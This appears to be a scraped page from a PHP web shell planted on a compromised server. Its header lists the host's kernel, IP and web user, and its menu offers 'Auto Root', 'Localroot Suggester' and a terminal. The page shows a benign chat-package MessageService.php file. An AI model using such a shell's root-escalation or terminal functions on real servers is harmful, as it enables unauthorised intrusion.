Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.218.99.99
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
1 /
vendor /
musonza /
chat /
src /
Services /
Delete
Unzip
Name
Size
Permission
Date
Action
ConversationService.php
4.8
KB
-rw-r--r--
2021-02-02 18:21
MessageService.php
2.44
KB
-rw-r--r--
2021-02-02 18:21
Save
Rename
<?php namespace Musonza\Chat\Services; use Exception; use Musonza\Chat\Commanding\CommandBus; use Musonza\Chat\Messages\SendMessageCommand; use Musonza\Chat\Models\Message; use Musonza\Chat\Traits\SetsParticipants; class MessageService { use SetsParticipants; protected $type = 'text'; protected $body; /** * @var CommandBus */ protected $commandBus; /** * @var Message */ protected $message; public function __construct(CommandBus $commandBus, Message $message) { $this->commandBus = $commandBus; $this->message = $message; } public function setMessage($message) { if (is_object($message)) { $this->message = $message; } else { $this->body = $message; } return $this; } /** * Set Message type. * * @param string type * * @return $this */ public function type(string $type) { $this->type = $type; return $this; } public function getById($id) { return $this->message->findOrFail($id); } /** * Mark a message as read. * * @return void */ public function markRead() { $this->message->markRead($this->participant); } /** * Deletes message. * * @return void */ public function delete() { $this->message->trash($this->participant); } /** * Get count for unread messages. * * @return void */ public function unreadCount() { return $this->message->unreadCount($this->participant); } public function toggleFlag() { return $this->message->toggleFlag($this->participant); } public function flagged() { return $this->message->flagged($this->participant); } /** * Sends the message. * * @throws Exception * * @return void */ public function send() { if (!$this->sender) { throw new Exception('Message sender has not been set'); } if (strlen($this->body) == 0) { throw new Exception('Message body has not been set'); } if (!$this->recipient) { throw new Exception('Message receiver has not been set'); } $command = new SendMessageCommand($this->recipient, $this->body, $this->sender, $this->type); return $this->commandBus->execute($command); } }